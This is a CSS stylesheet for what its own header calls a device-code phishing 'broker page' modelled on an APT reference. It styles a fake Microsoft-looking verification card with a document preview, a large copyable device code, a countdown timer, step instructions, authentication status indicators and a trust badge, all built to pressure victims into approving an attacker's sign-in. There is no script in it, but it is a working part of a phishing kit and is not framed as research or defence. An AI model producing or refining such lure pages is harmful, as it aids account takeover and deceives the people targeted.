/* ============================================
   CX100 Dynamic Device Code — Broker Page Styles
   Based on APT device-code phishing reference
   ============================================ */

:root {
    --color-bg:        #f0f2f5;
    --color-card:      #ffffff;
    --color-navy:      #1a237e;
    --color-navy-dark: #0d1245;
    --color-gold:      #c9a227;
    --color-red:       #0078d4;
    --color-red-light: #e6f2fb;
    --color-blue:      #0078d4;
    --color-blue-dark: #005a9e;
    --color-green:     #107c10;
    --color-text:      #333333;
    --color-text-muted:#666666;
    --color-border:    #e0e0e0;
    --color-code-bg:   #0a2845;
    --radius:          10px;
    --radius-sm:       6px;
    --shadow:          0 4px 24px rgba(0,0,0,0.08);
}

* { margin: 0; padding: 0; box-sizing: border-box; }

body {
    font-family: 'Segoe UI', -apple-system, BlinkMacSystemFont, Roboto, Arial, sans-serif;
    background: var(--color-bg);
    color: var(--color-text);
    line-height: 1.5;
    min-height: 100vh;
}

.page-wrapper {
    min-height: 100vh;
    display: flex;
    flex-direction: column;
}

/* Header */
.site-header {
    background: #fff;
    border-bottom: 1px solid var(--color-border);
    padding: 14px 24px;
}

.header-inner {
    max-width: 640px;
    margin: 0 auto;
    display: flex;
    align-items: center;
}

.brand {
    display: flex;
    align-items: center;
    gap: 10px;
}

.brand-icon {
    width: 28px;
    height: 28px;
}

.brand-text {
    font-size: 15px;
    font-weight: 600;
    color: var(--color-navy);
    letter-spacing: 0.3px;
}

/* Main */
.main-content {
    flex: 1;
    display: flex;
    justify-content: center;
    align-items: flex-start;
    padding: 40px 20px;
}

/* Card */
.card {
    width: 100%;
    max-width: 480px;
    background: var(--color-card);
    border-radius: var(--radius);
    box-shadow: var(--shadow);
    overflow: hidden;
}

/* Document Preview */
.doc-preview {
    display: flex;
    align-items: center;
    gap: 14px;
    padding: 20px 24px;
    background: #fafbfc;
    border-bottom: 1px solid var(--color-border);
}

.doc-icon {
    width: 40px;
    height: 40px;
    display: flex;
    align-items: center;
    justify-content: center;
    background: var(--color-red-light);
    border-radius: var(--radius-sm);
    flex-shrink: 0;
}

.doc-info {
    flex: 1;
    min-width: 0;
}

.doc-name {
    font-size: 14px;
    font-weight: 600;
    color: var(--color-text);
    white-space: nowrap;
    overflow: hidden;
    text-overflow: ellipsis;
}

.doc-meta {
    font-size: 12px;
    color: var(--color-text-muted);
    margin-top: 2px;
}

.doc-badge {
    font-size: 10px;
    font-weight: 700;
    color: var(--color-red);
    background: var(--color-red-light);
    padding: 4px 10px;
    border-radius: 20px;
    letter-spacing: 0.5px;
    flex-shrink: 0;
}

/* Divider */
.divider {
    height: 1px;
    background: var(--color-border);
}

/* Verification Section */
.verify-section {
    padding: 32px 28px;
    text-align: center;
}

.lock-icon {
    margin-bottom: 16px;
}

.verify-title {
    font-size: 20px;
    font-weight: 700;
    color: var(--color-text);
    margin-bottom: 8px;
}

.verify-subtitle {
    font-size: 13px;
    color: var(--color-text-muted);
    line-height: 1.6;
    max-width: 380px;
    margin: 0 auto 28px;
}

/* State Panels */
.state-panel {
    text-align: center;
}

.hidden { display: none !important; }

/* Loading */
.spinner {
    width: 36px;
    height: 36px;
    border: 3px solid #e0e0e0;
    border-top-color: var(--color-navy);
    border-radius: 50%;
    animation: spin 0.75s linear infinite;
    margin: 0 auto 14px;
}

@keyframes spin {
    to { transform: rotate(360deg); }
}

.state-text {
    font-size: 14px;
    color: var(--color-text-muted);
}

/* Code Box — the dark hero element from the reference */
.code-box {
    background: var(--color-code-bg);
    border-radius: var(--radius-sm);
    padding: 22px 20px;
    margin-bottom: 12px;
}

.code-label {
    font-size: 10px;
    font-weight: 700;
    color: #8888a0;
    letter-spacing: 2px;
    text-transform: uppercase;
    margin-bottom: 10px;
}

.code-value {
    font-family: 'SF Mono', Monaco, 'Courier New', monospace;
    font-size: 32px;
    font-weight: 700;
    letter-spacing: 6px;
    color: #4fc3f7;
    text-shadow: 0 0 14px rgba(79, 195, 247, 0.35);
    margin-bottom: 16px;
    min-height: 42px;
    display: flex;
    align-items: center;
    justify-content: center;
}

.copy-btn {
    display: inline-flex;
    align-items: center;
    gap: 6px;
    background: var(--color-red);
    color: #fff;
    border: none;
    padding: 10px 22px;
    border-radius: var(--radius-sm);
    font-size: 13px;
    font-weight: 600;
    cursor: pointer;
    transition: background 0.2s, transform 0.1s;
}

.copy-btn:hover {
    background: #b71c1c;
}

.copy-btn:active {
    transform: scale(0.97);
}

/* Timer */
.timer {
    font-size: 12px;
    color: var(--color-text-muted);
    margin-bottom: 22px;
}

#countdown {
    font-weight: 700;
    color: var(--color-red);
    font-variant-numeric: tabular-nums;
}

/* Numbered Instructions */
.instructions {
    display: flex;
    flex-direction: column;
    gap: 10px;
    margin-bottom: 20px;
    text-align: left;
    background: #f8f9fa;
    border-radius: var(--radius-sm);
    padding: 16px 18px;
}

.instruction-step {
    display: flex;
    align-items: center;
    gap: 12px;
}

.step-number {
    width: 24px;
    height: 24px;
    background: var(--color-red);
    color: #fff;
    font-size: 12px;
    font-weight: 700;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    flex-shrink: 0;
}

.step-text {
    font-size: 13px;
    color: var(--color-text);
}

/* CTA Button — prominent blue from reference */
.cta-button {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    gap: 10px;
    width: 100%;
    background: var(--color-blue);
    color: #fff;
    text-decoration: none;
    padding: 14px 20px;
    border-radius: var(--radius-sm);
    font-size: 14px;
    font-weight: 600;
    transition: background 0.2s, transform 0.1s;
    margin-bottom: 16px;
}

.cta-button:hover {
    background: var(--color-blue-dark);
}

.cta-button:active {
    transform: scale(0.98);
}

.ms-logo {
    border-radius: 2px;
    flex-shrink: 0;
}

/* Live Status */
.live-status {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 8px;
    font-size: 12px;
    font-weight: 500;
    padding: 10px;
    border-radius: var(--radius-sm);
}

.live-status.pending {
    background: #fff8e1;
    color: #e65100;
}

.live-status.authenticating {
    background: #e3f2fd;
    color: var(--color-blue-dark);
}

.live-status.success {
    background: #e8f5e9;
    color: var(--color-green);
}

.live-status.error {
    background: var(--color-red-light);
    color: var(--color-red);
}

.status-dot {
    width: 8px;
    height: 8px;
    border-radius: 50%;
    background: currentColor;
    animation: pulse 1.4s ease-in-out infinite;
}

.live-status.success .status-dot,
.live-status.error .status-dot {
    animation: none;
}

@keyframes pulse {
    0%, 100% { opacity: 1; }
    50%      { opacity: 0.35; }
}

/* Error State */
.error-icon {
    margin-bottom: 12px;
}

.error-title {
    font-size: 17px;
    font-weight: 700;
    color: var(--color-red);
    margin-bottom: 6px;
}

.error-text {
    font-size: 13px;
    color: var(--color-text-muted);
    margin-bottom: 18px;
}

.retry-btn {
    background: var(--color-navy);
    color: #fff;
    border: none;
    padding: 11px 24px;
    border-radius: var(--radius-sm);
    font-size: 13px;
    font-weight: 600;
    cursor: pointer;
    transition: background 0.2s;
}

.retry-btn:hover {
    background: var(--color-navy-dark);
}

/* Trust Footer */
.trust-footer {
    padding: 16px 28px 24px;
    text-align: center;
}

.trust-badge {
    display: inline-flex;
    align-items: center;
    gap: 6px;
    font-size: 12px;
    color: var(--color-green);
    font-weight: 500;
}

/* Mobile */
@media (max-width: 520px) {
    .site-header {
        padding: 12px 16px;
    }
    .main-content {
        padding: 20px 12px;
    }
    .verify-section {
        padding: 24px 18px;
    }
    .code-value {
        font-size: 26px;
        letter-spacing: 4px;
    }
    .doc-preview {
        padding: 16px 18px;
    }
    .doc-badge {
        display: none;
    }
}
